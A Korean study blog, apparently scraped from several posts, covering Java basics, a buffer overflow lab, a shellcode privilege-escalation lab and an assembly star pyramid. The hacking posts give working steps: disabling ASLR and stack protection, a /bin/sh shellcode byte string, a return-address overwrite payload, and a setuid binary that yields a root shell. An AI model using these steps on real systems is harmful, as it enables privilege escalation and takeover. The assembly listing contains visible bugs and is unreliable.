JRE는 java runtime environment

 

public class HelloWorldApp {
	public static void main(String[] args) {
		System.out.println("Hello World!!");
	}
}

 

public class 하고 나오는 부분은 파일 이름과 동일해야 한다

 

출력은 System.out.println("입력할 내용"); 이렇게 하면 성공적으로 출력이 된다

 

source code language 는 같은 대상을 보는 관점에 따라 다르게 부른다

 

그 결과로는 application program 이도 같은 대상을 보는 관점에 따라 부르는 표현들이다

 

.java는 우리는 알아먹지만 컴퓨터는 알아먹지 못하는 언어 Java Source code

 

이를 컴파일하게되면 이클립스가 컴퓨터 언어인 .class로 변환

 

.class 이 파일은 Java Application 이라고 할 수 있고 이것을 실행하면

 

Java Virtual Machine을 통해 computer로 출력하게 된다

'프로그래밍 언어 > JAVA' 카테고리의 다른 글

공부(6)  (0) 2021.09.23
공부(5)  (0) 2021.09.23
공부(4)  (0) 2021.09.23
공부(3)  (0) 2021.09.22
공부(2)  (0) 2021.09.22

버퍼 오버플로우 취약점 해킹 실습

 

nano overflow.c 파일을 만들어준다

 

#include <stdio.h>

int main(int argc, char * argv[]) {
	char buf[16];
    if(argc != 2)
    	return -1;
    strcpy(buf, argv[1]);
    	return 0;
}

 

./program 7 이걸로 예시를 들면 ./program 은 0번째 7은 1번째 ~~ 이렇게 이어진다

 

이 때 n번째 이것이 argc, 실질적으로 들어오는 ./program 이나 7은 argv

 

strcpy가 매우 취약하기에 안쓰는것을 권고할 정도

 

왜 취약하냐면 버퍼에 16자리 이상을 넣더라도 계속 담기때문에 취약함

 

RET 위에 RSP = RBP 가 있고 그 위에 버퍼로 16만큼의 공간이 있게되는데

 

만약 버퍼에 30만큼의 데이터가 들어오면 버퍼뿐만아니라 RSP까지도(혹은 그 이상) 덮혀져 채워질 수 있다

 

실습을 위해 메모리 보호 기능을 끄자

 

sysctl -w kernel.randomize_va_space=0

 

ldd ./overflow 를 여러번 실행했을때 주소가 같게 출력된다면 성공적으로 된 것이다

 

export SHELLCODE=`perl -e 'print "\x90" x 2000, "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`

(여기서 =과 ` 사이를 띄어쓰기 하면 오류가 뜨므로 꼭 붙혀주도록 하자)

 

90은 nop로 어떠한 명령도 실행하지 않는다는 뜻

 

gdb ./overflow 해주고 break * main 브레이크포인트를 메인으로 run 실행시켜준다

 

x/100a $rsp 해주고 내려보다 보면 90이 계속 출력되는것을 볼 수 있다

 

우선 quit 으로 꺼주고

 

gcc -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack overflow.c -o overflow 해준다

 

이제 익스플로잇 공격을 해볼건데

 

./overflow `perl -e 'print "X" x 24, "\e3\e7\ff\ff\ff\7f"'`

 

성공적으로 쉘 코드를 볼 수 있다

 

 

 

 

'Hacking > 시스템 해킹' 카테고리의 다른 글

공부(10)  (0) 2021.09.22
공부(9)  (0) 2021.09.21
공부(8)  (0) 2021.09.21
공부(7)  (0) 2021.09.20
공부(6)  (0) 2021.09.20

쉘 코드 제작 및 익스플로잇 실습

 

해커들이 BOF(버퍼 오버 플로우)같은 취약점을 이용하여 쉘코드를 실행할 수 있는데

 

만약 루트권한으로 쉘 코드를 실행할 수 있다면 컴퓨터가 완전히 장악당할 수 있음

 

윈도우에서는 cmd라고 할 수 있다

 

nano shell.c 로 파일 하나를 만들어주고

 

#include <stdio.h>
#include <string.h>

char shell[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

int main()
{
    printf("length:%d bytes\n", strlen(shell));
    (*(void(*)()) shell)();
    return 0;
}

저장해주고

 

gcc -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack shell.c -o shell

 

로 보안을 품과 동시에 실행파일을 만들어준다

 

adduser test 로 test계정을 만들어준다

 

chmod 4755 shell    shell에 4755권한을 준다

 

sudo su test 로 사용자를 바꿔준다

 

./shell을 해보면 length: 27bytes가 출력되고

 

whoami 하면 root가 뜨게된다

 

 

'Hacking > 시스템 해킹' 카테고리의 다른 글

공부(11)  (0) 2021.09.22
공부(9)  (0) 2021.09.21
공부(8)  (0) 2021.09.21
공부(7)  (0) 2021.09.20
공부(6)  (0) 2021.09.20

어셈블리어로 별 피라미드 만들기

 

nano pyramid.s 로 파일을 만들어주자

 

section	.data
	STAR db '*'
    EMPTY db 0x0a
    
section .text
	global _start
    
_start:
	mov rax, 1
    mov rdi, 1
    mov rdx, 1
    mov r10, 0
    mov r9, [rsp +16]
    
    cmp r9, 0
    je _done
    
    mov cl, [r9]
    movzx r9, cl
   	sub r9, 0x30
    
    mov r8, r9
    xor r9, r9
    call _syscall

 

STAR 라는 변수를 만들어주고 *이라는 포인터값이 들어가게 만들어주고

 

EMPTY 라는 변수는 0x0a를 넣어주는데 아스키코드에선 줄바꿈을 의미

 

_start라는 하나의 함수 정의하고

 

mov rax, 1 은 write라는 시스템 콜 설정

 

mov rdi, 1 기본 출력 모드

 

mov rdx, 1 출력 길이 설정

 

mov r10, 0 은 인덱스

 

mov r9, [rsp + 16] r9는 현재 입력된 문자열을 찾음 매개변수가 rsp 아래에 위치 즉 프로그램을 실행하여 입력하는 값이 rsp+16 안에 담김

 

cmp r9, 0 은 입력이 없는 경우

 

je_done 프로그램 종료

 

mov cl, [r9] 는 한 바이트만 cl에 저장(1~9층 사이로 할 것이기 때문)

 

movzx r9, cl 문자 형태의 cl을 r9에 저장

 

sub r9, 0x30 r9에 0x30을 빼주기 이렇게 해줌으로써 r9도 인덱스가 됨

 

RSP위치에서 16을 더해준게 입력한 매개변수가 담겨있는 메모리 주소를 가리키는 값

 

16진수로 30은 문자 '0'임

 

7을 넣는다면 16진수로 37 즉 30을 빼줌으로써 실질적인 숫자가 됨

 

r8에 r9를 넣어주고 xor r9, r9 를 해줘서 r9를 초기화해주고 call _syscall 해준다

 

c언어로 피라미드를 만들어보면

 

#include <stdio.h>

int main(void) {
	int n = 7, i, j;
    for(int i = 0; i < n; i++) {
    	for(int j = 0; j <= i; j++) {
        	printf("*");
        }
    }
    for(int i = n-1; i > 0; i--) {
    	for(int j = 0; j < i; j++) {
        	printf("*");
        }
        printf("\n");
    }
    return 0;
}

피라미드 올라가는 부분 내려가는 부분으로 크게 두가지로 나눌 수 있다

 

이것을 어셈블리어로 만들어보자

 

n으로 높이 설정해주고 i는 큰 반복문 j는 작은 반복문

 

n = r8, i = r9, j = r10

 

section	.data
	STAR db '*'
    EMPTY db 0x0a
    
section .text
	global _start
    
_start:
	mov rax, 1
    mov rdi, 1
    mov rdx, 1
    mov r10, 0
    mov r9, [rsp +16]
    
    cmp r9, 0
    je _done
    
    mov cl, [r9]
    movzx r9, cl
   	sub r9, 0x30
    
    mov r8, r9
    xor r9, r9
    call _syscall
    
_small:
	cmp r10, r9
    je _up
    mov rsi, STAR
    syscall
    mov rax, 1
    inc r10
    jmp _small
    
_up:
	cmp r9, r8
    je _down
    mov rsi, EMPTY
    syscall
    mov rax, 1
    mov r10, 0
    add r9, 1
    jmp _small
    
_down:
	cmp r9, 0
    je _down;
    mov rsi, EMPTY
    syscall
    mov rax, 1
    mov r10, 0
    add r9, 1;
    jmp _big

_big:
	cmp r10, r9
    je _down
    mov rsi, STAR
    syscall
    mov rax, 1
    inc r10
    jmp _big
_done
	mov rax, 60
    mov rdi, 0
    syscall

_syscall:
	syscall
    ret

 

r10과 r9를 비교해서 i번 출력한 경우 _up 함수를 불러오게 함

 

rsi에 STAR를 담아 별을 출력할 수 있게 함

 

syscall로 출력하고 rax 1로 설정하여 write 시스템 콜 설정 왜냐하면 출력된 결과가 rax에 담기기 때문에 다시 출력문으로 바꿔주려면 다시 설정해야함

 

inc r10 으로 j를 1증가시킴 그리고 jmp small 로 자기자신을 다시 불러오는 것

 

_up 함수를 만들고 cmp r9, r8 은 i==n이 된 경우

 

즉 다 채웠다면 다시 내려가는 함수인 _down을 불러준다

 

만약 내려가지않고 i가 n보다 작다면 rsi에 EMPTY를 담아서 줄바꿈을 실행 syscall을 해서 실제로 줄바꿈을 해줄 수 있게 함

 

그 후 다시 rax에 1을 설정해주어서 출력모드로 바꿈

 

j를 0으로 해주고 i에 1을 더해줌 그리고 _small로 점프

 

_done 함수를 만들어주고 rax에 60 rdi에 0을 넣고 syscall해주고

 

_syscall 함수에는 syscall과 ret를 넣는다

 

내려가는 것도 만들어주고 파일을 만들어주고 하면 제대로 동작한다

'Hacking > 시스템 해킹' 카테고리의 다른 글

공부(11)  (0) 2021.09.22
공부(10)  (0) 2021.09.22
공부(8)  (0) 2021.09.21
공부(7)  (0) 2021.09.20
공부(6)  (0) 2021.09.20

+ Recent posts